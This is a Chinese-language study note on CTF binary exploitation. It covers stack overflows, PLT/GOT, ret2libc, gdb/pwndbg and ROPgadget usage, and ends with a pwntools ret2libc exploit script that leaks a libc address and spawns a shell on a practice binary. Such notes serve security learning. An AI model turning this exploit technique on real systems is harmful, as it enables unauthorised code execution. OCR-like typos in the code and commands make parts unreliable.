PWN
跟着看雪的視頻學習了一下。
https://m.weishi100.com/mweb/classroom/?id=141727
實例
編譯好的程序下載:
https://www.lanzous.com/i9tkk7a
編譯: gcc- no-pie - m32 -o ret21ibc3 ret2libc3.c
調試:
檢查保護: checksek
-j 查找符號表
查找system函數的plt地址: objdump -d -j .plt ./ret2libc3 | grep system
查找bin_sh字符串地址: ROPgadget --binary . /ret2libc3 --string
PWN在做什么
明顯的stack/heap/ int溢出,string format, off-by-one/UAF/house of XXX/ xxbin attack
抽象成:對內存地址的讀/寫
漏洞利用: shellcode/GOT/ vtable/hook_function/onegadget
如何解pwn題目
①檢查程序基本信息(架構,位數,保護措施)
②逆向分析,定位漏洞點,程序邏輯比RB類題目簡單
③構造發送payload,腳本與程序交互
④調試程序
工具: pwndbg, objdump
查看匯編代碼
objdump -d -M intel ret2Libc3
objdump -d ret2Libc3 # 沒有 -M為AT&T,一般用intel的
③gdb反匯編語法設置默認為AT&T語法改為Intel語法:
set disassembly-flavor intel > /. gdbinit
名詞解釋
exp:通常指漏洞利用的腳本
shellcode:指能打開shel l的-段代碼通常用匯編編寫
payload (有效載荷):漏洞利用過程中需要構造的攻擊代碼,shellcode 屬於payload 的一部分
棧相關知識
8個通用寄存器eax,ebx,ecx,edx,edi,esi,esp,ebp寄存器可以簡單的理解為高級語言中的變量
eax (累加器):默認保存着加法乘法結果函數返回值
esi/edi (源/目標索引寄存器):通常用於字符串操作esi保存着源字符串的首地址edi保存着目標字符
串的首地址
esp:擴展棧指針寄存器指向當前棧頂即保存着當前棧項的地址
ebp: (擴展基址指針寄存器)指向當前棧底即保存着當前棧底的地址
eip (指令指針寄存器):該寄存器存放着將要執行的代碼的地址當一個程序開始運行時系統自動將eip清零每取入一條指令eip自動增加取入cpu的字節數在控制程序流程時控制eip寄存器的值顯得尤為關鍵決定着是否可以馳騁內存。
還有個跟運算息息相關的EFLAGS標志寄存器這里面裝着很多標志位標志着運算狀態等信息。
幾個重要的匯編指令
mov eax, ebx將ebx中的值復制給eax
add eax, ebx 將eax和ebx相加后的值傳入eax中
sub eax, ebx 將eax和ebx相減后的值傳入 eax中
lea eax, dword ptr ds:[ebx] 將ebx傳給eax。dword ptr ds: [0x12345678]表示存儲類型為dword
雙字4個字節數據段偏移為0x12345678的內存區域[0x12345678]表示內存編號即地址為0X 12345678
mov eax, dwordptr ds:[ebx] 注意這里是將ebx代表的內存地址的中的內容傳給eax 上一條指令是將這塊內存區域的地址傳給eax
xor eax. eax 寄存器清零
gdb的常用命令-1
-q參數不顯示歡迎信息等
-n不加載任何插件,使用原生gdb
info后面跟上想要查看的信息,如函數信息inf 。funct ions
b/breakpoirt設置斷點
del/ delete breakpoints n刪除斷點,n是斷點編號,可用info breakpoint s命令查看斷點信息
start命令啟動程序並停在開辟完主函數棧幀的地方
c/ continue維續執行程序,遇到斷點停下
f/finish 執行到返回
x/ run運行程序,遇到斷點停下
ni單步步過,一步一步執行指令遇到畫數調用時直接執行完整個函數
si單步步入,一步一步執行指令遇到函數調用時跳轉到函數內部
gdb的常用命令-2
vmmap
查看內存映射
checksec查看程序的防護措施
pdisass/disassemble 查看當前函數幀的反匯編代碼,前一個命令有高亮顯示只是需要安裝pwndbg插件,后面一個命令時gdb自帶的命令無高亮顯示
p/print打印信息,如寄存器p $ebp
x/<n/f/u>
set *addr = value 設置某個地址的值
i b 查看斷點
d 1 刪除1號斷點
_start 是最新執行的,不是main,會在_start中call main
pwntools
P32加包,包成8位
U32解包
P32小端倒序,U32轉成正向
python實例
payload = offset* 'a' + p32(puts_plt_addr) + p32(start_addr) + p32(puts_got_addr)
p32(start_addr)返回地址------讓程序再次執行
= 填充值 + puts + 返回start + puts的got表地址 == 輸出 puts 在got表延時綁定后已固定的 實際地址,然后返回start重新運行程序
pwngdb
disass main 反匯編main
b *0x08043618
下斷點,進進制地址加*
b main 符號名不加星
mov DWWORD PTR [esp], 0x804870
call 0x804860 <puts@plt>
# puts要輸入的上一行是參數,可用 x/s 0x804870 查看,是字符串
cyclic插件
cyclic 200 # 生成200字符比如 aabbcccdd
在輸入的位置粘貼 aabbcccdd 回車
提示 invalid address 0x62616164
輸入 cyclic -l 0x62616164 獲得偏移量
計算一個那個地址下斷點b *0x8048672,會提示是rt2libcGOT.c, GOT表
什么是棧溢出?
棧溢出其實就是指程序向變量中寫入了超過自身實際大小的內容造成改變棧中相鄰變量的值的情況。實現棧溢出要保證兩個基本條件第一要程序必須向棧 上寫入數據第二程序並未對輸入內容的大小進行控制。
ret2.. .是什么意思?
在棧溢出的攻擊技術中通常是要控制函數的返回地址到自己想要的地方執行自已想要執行的代碼。
ret2. ..代表返回到. ..中即控制函數的返回地址到預先設定好的...區域中去執行...代碼。
什么是ret2shellcode?
ret2shellcode其主要思想就是控制返回地址使其指向shellcode所在的區域。該技術能夠成功的關
鍵點在於:
1、程序存在溢出,並且還要能夠控制返回地址
2、程序運行時,shellcode 所在的區域要擁有執行權限 (禁用NX保護)
3、操作系統還需要關閉ASLR (地址空間布局隨機化)保護。
什么是plt表和got表?
如果可執行文件中調用多個動態庫函數,那每個函數都需要這兩樣東西,這樣每樣東西就形成一個表,每個函數使用中的一項。
總不能每次都叫這個表那個表,於是得正名。存放函數地址的數據表,稱為全局偏移表或者全局函數表 (GOT, Global offset Table),而那個額外代碼段表,稱為程序鏈接表,也叫內部函數表(PLT, Procedure Link Table)。
延遲綁定技術
因為動態鏈接的程序是在運行時需要對全局和靜態數據訪問進行GOT定位,然后間接尋址。同樣,對於模塊間的調用也需要GOT定位,再才間接跳轉,這么做勢必會影響到程序的運行速度。而且程序在運行時很大一部分 函數都可能用不到,於是ELF采用了當函數第一次使用時才進行綁定的思想,也就是我們所說的延遲綁定。ELF實現延遲綁定是通過PLT,原先GOT中存放着全局變量和函數調用,現在把他拆成另個部分. got和. got.plt,用.got存放着全局變量引用,用. got. plt存放着函數引用。
查看test@plt代碼,用objdump -Mintel -d -j .plt got
-Mintel選項指定intel 匯編語法
-d選項展示可執行文件節的匯編形式
-j選項后面跟上節名,指定節
什么是動態鏈接( Dynamic linking )
動態鏈接是指在程序裝載時通過動態鏈接器將程序所需的所有動態鏈接庫(Dynamic linking library)裝載至進程空間中(程序按照模塊拆分成各個相對獨立的部分),當程序運行時才將他們鏈接在一起形成一個完整程序的過程。它誕生的最主要的的原因就是靜態鏈接太過於浪費內存和磁盤的空間,並且現在的軟件開發都是模塊化開發,不同的模塊都是由不同的廠家開發,在靜態鏈接的情況下,一旦其中某模塊發生改變就會導致整個軟件都需要重新編譯,而通過動態鏈接的方式就推遲這個鏈接過程到了程序運行時進行。
總而言之,動態鏈接的程序在運行時會根據自已所依賴的動態鏈接庫,通過動態鏈接器將他們加載至內存中,並在此時將他們鏈接成一個完整的程序。Linux 系統中,ELF 動態鏈接文件被稱為動態共享對象(Dynamic Shared objects),簡稱共享對象一般都是以“. so”為擴展名的文件;在windows系統中就是常常軟件報錯缺少xx. dll文件。
GOT (Global offset Table)表的由來
了解完動態鏈接,會有一個問題:共享對象在被裝載時,如何確定其在內存中的地址?
下面簡單的介紹-下:
要使共享對象能在任意地址裝載就需要利用到裝載時重定位的思想,即在鏈接時對所有的絕對地址的引用不做重定位而將這一步推遲到裝載時再完成,一 旦裝載模塊確定, 系統就對 所有的絕對地址引用進行重定位。但是隨之而來的問題是,指令部分無法在多個進程之間共享,這又產生了一個新的技術地址無關代碼(PIC, Position-independent Code),該技術基本思想就是將指令中需要被修改的部分分離出來放在數據部分,這樣就能保證指令部分不變且數據部分又可以在進程空間中保留一個副本,也就避免了不能節省空間的情況。
什么是ret2libc?
Libe: Lingx下的c函數庫
ret2libc這種攻擊方式主要是針對動態鏈接Dynamic linking) 編譯的程序,因為正常情況下是無法在程序中找到像systemO、exeeve)這種系統級函數(如果程序中直接包含了這種函數就可以直接控制返回地址指向他們,而不用通過這種麻煩的方式)。
因為程序是動態鏈接生成的,所以在程序運行時會調用libe. so (程序被裝載時,動態鏈接器會將程序所有所需的動態鏈接庫加載至進程空間,libe.so 就是其中最基本的一個),libe.so 是linux下C語言庫中的運行庫glibe的動態鏈接版,並且libe.so 中包含了大量的可以利用的函數,包括system()、exeeve()等系統級函數,我們可以通過找到這些函數在內存中的地址覆蓋掉返回地址來獲得當前進程的控制權。
利用ret2libc的思路?
通常情況下,我們會選擇執行system( “/bin/sh”)來打開shell,如此就只剩下兩個問題:
1、找到system(函數的地址:
2、在內存中找到“/bin/sh” 這個字符串的地址。
一般來說pwn題的思路
1.沒有NX保護,程序源碼自帶系統命令函數:直接覆蓋返回地址即可
2.沒有NX保護,可以我到system函數的plt的絕對地址:使用ret2text
3.沒有NX保護,找不到system函數,利用輸入函數,將shellcode寫入到程序中: ret2shellcode
4.有NX保護,利用ROPGadget配 合int 0x80調用exeeve: ret2Syscall
5.有NX保護,利用Libe獲取system函數的相對位置: ret2Libe
ROPgadget工具介紹
ROPgadget --binary ./ret2libc3 --only "pop | ret"
ROPgadget --binary ./ret2libc3 --only "pop | ret" | grep "eax”
ROPgadget --binary ./ret2libc3 --only ”pop | ret" | grep "ebx" | grep”ecx" | grep” edx"
ROPgadget --binary ./ret2libc3 --string "/bin/sh”
examples:
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --ropchain
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --depth 3
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --string "main"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --string "m..n"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --opcode c9c3
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --only "mov|ret"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --only "mov|pop |xor|ret"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --filter "xchg |add |sub"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux *x86 --norop --nosys
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --range 0x08041000-0x08042000
ROPgadget.py --binary ./test-suite-binarles/elf-Linux-x86 --string main -- range 6x080c93aa-0x080C9aba
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --memstr "/bin/sh"
ROPgadget.py --binary ./test-suite-binaries/elf-Linux--x86 -- console
ROPgadget.py --binary ./test-suite-binaries/elf-Linux-x86 --badbytes"00|7f|42"
RoPgadget.py --binary ./test-suite-binaries/Linux_lib64.so --offset oxdeadbeef00000000
ROPgadget.py --binary ./test-suite-binaries/elf-ARMv7-ls --depth 5
ROPgadget.py --binary ./test-suite-binaries/elf-ARM64-bash --depth 5
ROPgadget.py --binary ./test-suite-binaries/raw-x86.raw --rawArch=x86 --rawMode=32
溢出的思路
1、泄露一個ret2libc3函數的位置
2、獲取libc的版本(只有被執行過的函數才能獲取地址)
①https://libc.blukat.me②LibeSearcher: https://github.com/lieanu/LibcSearcher
3、根據偏移獲取shell和sh的位置
①求libc基地址(函數動態地址一函數偏移量)
②求其他函數地址(基地址+函數偏移量)
4、執行程序獲取shell
LibcSearcher的安裝
這是針對CTF比賽所做的小工具,在泄露了Libc中的某一一個 函數地址后,常常為不知道對方所使用的操作系統及libc的版本而苦惱,常規方法就是挨個把常見的Libc.so從系統里拿出來,與泄露的地址對比一下最后12位。這里用了libc-database的數據庫。
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
LibcSearcher的使用
如果遇到返回多個libc版本庫的情況,可以通過add condition(leaked_ func, leaked address)來添加限制條件,也可以手工選擇其中-一個libc版本(如果你確定的話)。
from LibcSearcher import *
#第二個參數,為已泄露的實際地址,或最后12位(比如: d90), int類型
obj = LibcSearcher("fgets", 0x7ff39014bd90)
obj.dump("system") #system偏移
obj.dump("str_bin_sh") #/bin/sh偏移
obj.dump("_libc_start_main_ret")
Sript
from pwn import *
from Libcsearcher import Libcsearcher
context(arch="i386", os="linux", log_level="debug")
p=process("./ret2libc3")I
e=ELF("./ret2libc3")
puts_plt_addr=e.plt["puts"]
puts_got_addr=e.got["puts"]
start_addr=e.symbols["_start"]
offset=112
payload1=offset*'a'+p32(puts_plt_addr)+p32(start_addr)+p32(puts_got_addr)
p.sendlineafter("Can you find it !?", payload1)
puts_addr=u32(p.recv()[0:4])
libc=Libcsearcher("puts", puts_addr)
base_addr=puts_addr-libc.dump("puts")
system_addr=base_addr+1ibc.dump("system")
bin_sh_addr=base_addr+1ibc.dump("str_bin_sh")
payload2=offset*'a'+p32(system_addr)+p32(1)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()